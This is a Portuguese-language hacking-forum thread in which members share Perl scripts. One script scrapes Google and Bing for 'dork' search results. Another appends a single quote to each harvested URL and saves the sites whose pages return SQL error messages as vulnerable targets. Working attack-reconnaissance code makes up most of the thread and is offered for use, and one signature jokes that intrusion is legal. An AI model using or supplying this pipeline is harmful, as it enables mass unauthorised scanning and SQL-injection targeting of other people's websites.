Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Dork Scan (Bing e Google)

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Perl Dork Scan (Bing e Google)

    Ola galerinha.. venho trazendo um brinquedinho que uso as vezes....
    È um script em Perl, que utiliza o Google e Dork
    (Quero agradecer ao MMxM pelo script {Google Dork Scan})
    Código:
    #!/usr/bin/perl 
    #Codado (um pedaço)
    #Por Senhor Li
    #Greatz ao MMxM pela Engin do Google
    
     use LWP::UserAgent; 
     use URI::Escape;
     use HTTP::Request;
     use Term::ANSIColor;
    
     print q {
    +------------------[Dork Scanner]------------------+
    |                    2 Engines:                    |
    |                  Google e Bing                   |
    |                   By Senhor Li                   |
    +----+                 Greatz:            +--------+
    | Br |                  MMxM              |  v1.5  |
    +--------------------------------------------------+
     };
     print q {Coloque:
    1 - Google
    2 - Bing};
     print "\n>>"; 
     $id = <STDIN>;
     chomp $id;
    
     ######################### Google  #########################################################
     if ($id eq "1"){
      print "Coloque Sua Dorck:\n>>";
      chomp(my $dork = <stdin>);
      print q{
    Engine:Google
    Dork:}.$dork;
      print"\nIniciando scan...\n\n";
      
      $dork =~ s/ /+/g;
      $dork = uri_escape($dork);
      for (my $i=0;$i<=100000;$i+=10){
        my $url = 'http://www.google.com.br/search?q='.$dork.'&start='.$i;
        my $ua = new LWP::UserAgent; 
        $ua->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1');
        $ua->timeout(15);
     
        my $request = HTTP::Request->new('GET');
        $request->url($url);
     
        my $response = $ua->request($request);
        if($response->code != 200){
            die("\nErro\n");
        }
     
        my $body =  $response->content;
        my $header = $response->headers_as_string;
        if($body =~ /<p style="padding-top:.33em">/s){
            print "\nNenhum Resultado Encontrado!\n";
        }
        my $a = 0;
        while($body =~ m/<h3 class="r"><a href="(.*?)"/g){
            print $1."\n";
            $a = $a + 1;
            open (txt,">>ScanGoogle.txt"); 
            print txt  $1,"\n";  
            close(txt);
        }
        
    }  
    }
     ########################   Bing    ###########################################################
    
    
    if ($id eq "2"){
    
     print "Coloque Sua Dorck:\n>>";
     $dork = <STDIN>; 
     chomp($dork); 
       print q{
    Engine:Bing
    Dork:}.$dork;
      print"\nIniciando scan...\n\n";
     for ($i = 0; $i < 1000; $i += 10) { 
     $b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)'); 
     $b->timeout(30); 
     $b->env_proxy; 
     $c = $b->get('http://www.bing.com/search?q=' . $dork . '&first=' . $i . '&FORM=PERE')->content; 
     $check = index($c, 'sb_pagN'); 
     while (1) { 
     $n = index($c, '<h3><a href="'); 
     if ($n == -1) { 
     last; 
     }  
     print "$s\n";
      $c = substr($c, $n + 13); 
     $s = substr($c, 0, index($c, '"'));
     open (txt,">>ScanBing.txt"); 
     print txt  $s,"\n"; 
     
     close(txt);
     } 
      if ($check == -1) { 
     last; 
     } 
     }
     system("ScanBing.txt");
     exit;
     }
    
    #By Senhor Li ><
    Twitter
    SenhorLi = Marck [BR]


    Similar Threads

  • Font Size
    #2
    Funcional, porém não é de sua autoria.
    .

    - PHP & VB C0d3r.

    Nickguitar.dll@hotmail.com

    http://www.youtube.com/user/superskate56 <~ Hacking tuts =)

    Quando aprendemos a ouvir, também aprendemos a falar..
    Quando aprendemos a ler, também aprendemos a escrever.
    Então, quando aprendemos a usar um computador, por que não aprender a programa-lo ?


    I'm C0ding for $$$

    #~: Just $this :~#

    Comment


    • Font Size
      #3
      o

      Postado Originalmente por Nickguitar.dll Ver Post
      Funcional, porém não é de sua autoria.
      Um pedaço é sim
      Twitter
      SenhorLi = Marck [BR]


      Comment


      • Font Size
        #4
        Mandou bem, mas ia falar isso que o Nick falou, ja vi este script aqui no forum mesmo faz um tempo.
        So não me lembro quem postou....




        vlw
        sigpic
        " O bom hacker todos conhecem e sabem quem é, mas o excelente hacker... esse nunca saberemos quem um dia foi."
        Nova lei - Invadir computadores protegidos é crime.
        Lógica - Se eu invadi, não é protegido. Logo, não é crime

        Comment


        • Font Size
          #5
          Muito bom vlw parceiro.

          Igualdade, justiça e liberdade são mais que palavras; são perspectivas!"

          Comment


          • Font Size
            #6
            Foi o Brlo0ping

            Postado Originalmente por J0k4rTr3p Ver Post
            Mandou bem, mas ia falar isso que o Nick falou, ja vi este script aqui no forum mesmo faz um tempo.
            So não me lembro quem postou....




            vlw
            Acho que é assim o nome dele, na verdade vou postar o original, porem ele só faz scan no bing, ja esse ai faz no google, AMEI.



            Código:
            #!/usr/bin/perl 
            #Coded: Brlo0ping
             use LWP::UserAgent; 
            print "----|| Coded: Brlo0ping ||-----||Acc3ss ro0t:~# ----||\n";
            print "Digite um dork: ex:(noticias.php?id=100)\n" ;
            print "-->>";
            $dork = <STDIN>; 
            chomp($dork); 
            for ($i = 0; $i < 1000; $i += 10) { 
            $b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)'); 
            $b->timeout(30); 
            $b->env_proxy; 
            $c = $b->get('http://www.bing.com/search?q=' . $dork . '&first=' . $i . '&FORM=PERE')->content; 
            $check = index($c, 'sb_pagN'); 
            while (1) { 
            $n = index($c, '<h3><a href="'); 
            if ($n == -1) { 
            last; 
            } 
            $c = substr($c, $n + 13); 
            $s = substr($c, 0, index($c, '"'));
            open (txt,">>lista.txt"); 
            print txt  $s,"\n"; 
            close(txt);
            } 
            if ($check == -1) { 
            last; 
            } 
            }
            system("lista.txt");
            exit;

            e esse aqui pega os que achou e separa os que estão vull a SQLi


            Código:
            #!/usr/bin/perl
            use LWP::UserAgent;
            use HTTP::Request;
            use LWP::Simple;
            
            $sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }
            system("$cmd");
            
            if (!$ARGV[0]) {
            
            $sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }
            system("$cmd");
            
            my @bannerzinho = (0,100..200);
            my $variavelbanner = $bannerzinho[int rand @bannerzinho];
            
            if ($variavelbanner % 2 == 0) {
            
            &bannerUm();
            exit;
            
            }
            else {
            &bannerDois();
            exit;
            }
            }
            
            &bannerDois();
            
            print q {
            [+] Scaneando WebSite...
            
            };
            
            open( SITE, "< $ARGV[0]" ) or die( "Nao foi possível abrir o arquivo: $!" );
            
            our @array = <SITE>;
            
            $numero = $#array;
            
            for ($i = 0; $i <= $numero; $i++) {
            
            $Dominio = "$array[$i]";
            
            if($Dominio !~ /http:\/\//) { $Dominio = "http://$Dominio"; }
            
            
            $cmd = "'";
            
            $site = "$Dominio$cmd";
            
            my $req=HTTP::Request->new(GET=>$site);
            my $ua=LWP::UserAgent->new();
            $ua->timeout(15);
            my $resposta=$ua->request($req);
            
            if($resposta->content =~ /You have an error in your SQL syntax/ ||
            $resposta->content =~ /MySQL server version/ ||
            $resposta->content =~ /Syntax error converting the nvarchar value/ ||
            $resposta->content =~ /Unclosed/ ||
            $resposta->content =~ /SQL Server error/ ||
            $resposta->content =~ /JET/) {
            
            print "\n \t $Dominio \n";
            
            open (NOTEPAD, ">> Sites Vulneraveis.txt");
            print NOTEPAD "$site\n";
            close(NOTEPAD);
            
            }
            }
            
            print q {
            
            [+] FIM DO SCANNEAMENTO !
            };
            
            
            sub bannerUm {
            
            print q {
            
            
            
            _______________________
            < Hello !! Welcome !! >
            -----------------------
            \ ,__,
            \ (oo)____
            (__) )\
            ||--|| *
            | | _) |
            __ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
            | | | __/ | ( |\__ \ | | | ( | | |
            _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
            _| Scanner v 1.0
            
            
            [*] Modo de uso: perl ScannerSQL.pl lista.txt
            
            [+] Scanner criado por: Inj3cti0n P4ck3t
            
            };
            
            
            }
            
            sub bannerDois {
            
            print q {
            _ _
            _ | | (_)_
            ____ ____| |_ ____ ___ ____ | | ___ _| |_
            | \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
            | | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
            |_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
            |_| Scanner v 1.0
            
            
            [*] Modo de uso: perl ScannerSQL.pl lista.txt
            
            [+] Scanner criado por: Inj3cti0n P4ck3t
            
            
            };
            
            }

            Comment


            • Font Size
              #7
              world hacker brasil

              celular world hacker manaus
              gostei muito seu perl muito bom continuar assim ser hacker etico
              juntos vamos mudar o brasil

              Comment


              • Font Size
                #8
                Vlw, funciona porem ele da erro no final e da um blok no ip nas pesquisas.

                Comment


                • Font Size
                  #9
                  Gostaria de saber como tiro esse erro?


                  Comment

                  X
                  Working...
                  X